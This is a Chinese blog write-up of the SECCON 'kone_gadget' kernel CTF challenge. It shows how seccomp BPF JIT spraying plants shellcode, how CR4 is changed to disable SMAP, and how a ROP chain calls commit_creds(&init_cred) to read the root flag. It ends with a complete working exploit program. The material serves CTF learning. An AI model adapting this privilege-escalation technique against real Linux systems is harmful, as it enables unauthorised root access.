kone_gadget


CHECK

run

没有开启内核地址随机化

init

version

逆向分析

Added to arch/x86/entry/syscalls/syscall_64.tbl

1337 64 seccon sys_seccon

Added to kernel/sys.c:

SYSCALL_DEFINE1(seccon, unsigned long, rip)
{
asm volatile("xor %%edx, %%edx;"
"xor %%ebx, %%ebx;"
"xor %%ecx, %%ecx;"
"xor %%edi, %%edi;"
"xor %%esi, %%esi;"
"xor %%r8d, %%r8d;"
"xor %%r9d, %%r9d;"
"xor %%r10d, %%r10d;"
"xor %%r11d, %%r11d;"
"xor %%r12d, %%r12d;"
"xor %%r13d, %%r13d;"
"xor %%r14d, %%r14d;"
"xor %%r15d, %%r15d;"
"xor %%ebp, %%ebp;"
"xor %%esp, %%esp;"
"jmp %0;"
"ud2;"
: : "rax"(rip));
return 0;
}

新增了一个系统调用,这个系统调用清空了所有的寄存器,然后跳转到传入的参数处,任意地址执行;

说明是64位,系统调用号是1337

调试

gdb -ex "target remote localhost:1234" -ex "c"

seccomp

加载模板:

#include <linux/seccomp.h>
#include <linux/filter.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <stddef.h>

void install_filter(){
struct sock_filter filter[] = {
// Allow 1337 syscall
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, 1337, 0, 1),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),

BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),

};

struct sock_fprog prog = {
.len = sizeof(filter) / sizeof(filter[0]),
.filter = (struct sock_filter*)filter,
};
if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) {
perror("PR_SET_NO_NEW_PRIVS");
exit(-1);
}
if(prctl(PR_SET_SECCOMP, 2, &prog) < 0) {
perror("set_seccomp");
exit(-1);
}
}

bpf_jit_alloc_exec函数会分配一个可执行的内核页,如果没有开启内核地址随机化,其地址固定为0xffffffffc0000000:

但是这个结构开始有个映像头,机器码并不是从最开始的地方存放的,比如最开始的一个int就是用来存放page的数量的,同时这个代码的加载地址似乎也不是固定的:

攻击思路

利用seccom提前部署好shellocde,其功能是:

  1. 修改cr4寄存器,绕过smap;
  2. 修改rsp为0x123000,这是我们提前在用户态mmap好的地址,部署ROP;

修改cr4寄存器

只需要将cr4寄存器的内容修改为0x6f即可,然后在用户程序中部署commit_creds(prepare_kernel_cred(0LL));

寻找init_cred

init_cred定义路径:kernel/cred.c

KPTI

着陆后的崩溃

在执行完shellcode之后可以成功着陆回用户态然后也可以成功执行一个write,但是如果执行execve或者exit则会触发Illegal instruction的报错:

进入内核态时,内核栈错了,但是之后会立即被映射;

iretq的libc地址似乎出了问题:

期间已经调用了do_syscall_64;

系统调用刚陷进去的时候,rcx指向了syscall执行完之后的返回地址:

之后通过push rcx存放的也是正确的地址:

在syscall具体的执行过程中,把这个返回地址给覆盖了;

并且返回后这个进程都没有影射了;

do_syscall_64

https://elixir.bootlin.com/linux/v5.14/source/arch/x86/entry/common.c

_x64_sys_execve

攻击成功

只需要commit_creds(&init_cred)就可以返回时orw,经过调试发现execve会崩溃,但是orw却没事,所以可以用orw把flag读出来就行了:

至于崩溃感觉是从pt_regs中取出name的时候出了问题,但是笔者在内核直接劫持控制流去执行do_syscall_64还是没有得到root shell,这是怎么一回事呢?

FINAL-EXP

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <linux/keyctl.h>

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

char *binsh = "/bin/sh";
void get_root_shell(){
char buf[0x200];
int fd = open("/root/flag.txt", 0);
read(fd, buf, 0x100);
write(1, buf, 0x100);
}

//CPU绑核
void bindCore(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

#include <linux/seccomp.h>
#include <linux/filter.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <stddef.h>

void install_filter(){
struct sock_filter filter[0x1000] ;
/*= {
// Allow `write` syscall

{.code = BPF_LD + BPF_K, .k = 0XB3909090},
{.code = BPF_RET | BPF_K, .k = SECCOMP_RET_ALLOW}

};*/
for(int i = 0; i < 0x1000; i++) filter[i].code = BPF_LD + BPF_K, filter[i].k = 0XB3909090;
filter[0xfff].code = BPF_RET | BPF_K, filter[0xfff].k = SECCOMP_RET_ALLOW;
int k = 0x300;
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3906fb1; //mov cl, 0x6f
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3e1220f; //mov cr4, rcx
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB39023b2; //mov dl, 0x23
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB39001b6; //mov dh, 0x1
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB30ce2c1; //shl edx, 12
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3d48948; //mov rsp, rdx
filter[k].code = BPF_LD + BPF_K, filter[k++].k = 0XB3c3c3c3; //ret

filter[0].code = BPF_RET | BPF_K, filter[0].k = SECCOMP_RET_ALLOW;

struct sock_fprog prog = {
.len = sizeof(filter) / sizeof(filter[0]),
.filter = (struct sock_filter*)filter,
};
if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) < 0) {
perror("PR_SET_NO_NEW_PRIVS");
exit(-1);
}
if(prctl(PR_SET_SECCOMP, 2, &prog) < 0) {
perror("set_seccomp");
exit(-1);
}
}

#include <sys/mman.h>
int main(){

save_status();
bindCore(0);

install_filter();



mmap(0x122000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
memset(0x122000, 0, 0x1000);
void *page = mmap(0x123000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
printf("page == %p\n", page);
memset(page, 0, sizeof(page));

size_t pop_rdi_ret = 0xffffffff81138833;
size_t commit_creds = 0xffffffff81073ad0;
size_t kpti = 0xFFFFFFFF81800F1B ;
size_t init_cred = 0xFFFFFFFF81E35DA0;
size_t swapgs_ret = 0xFFFFFFFF8180102B;
size_t iretq = 0xFFFFFFFF81800EB7;
size_t _x64_sys_execve = 0xFFFFFFFF811505C0;
size_t pop_rsi_ret = 0xffffffff812d2ec0;
size_t do_syscall_64 = 0xFFFFFFFF81618F60;

size_t data[0x1000];
int k = 0;
data[k++] = pop_rdi_ret;
data[k++] = init_cred;
data[k++] = commit_creds;
data[k++] = pop_rdi_ret;
data[k++] = 0x123000+0x800; //pt_regs
data[k++] = pop_rsi_ret;
data[k++] = 0x3b; //syscall number
data[k++] = do_syscall_64;

data[k++] = kpti;
data[k++] = 0x123000+8*10;
data[k++] = 0;
data[k++] = get_root_shell;
data[k++] = user_cs;
data[k++] = user_rflags;
data[k++] = user_sp;
data[k++] = user_ss;

data[0x100+14] = binsh; //rdi
data[0x100+13] = 0;//rsi
data[0x100+12] = 0; //rdx


memcpy(page, data, 0x1000);

asm volatile (
"mov rdi, 0xffffffffc0011000;"
"mov rax, 1337;"
"syscall;"
);
}




文章作者: q1ming
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1ming !
  目录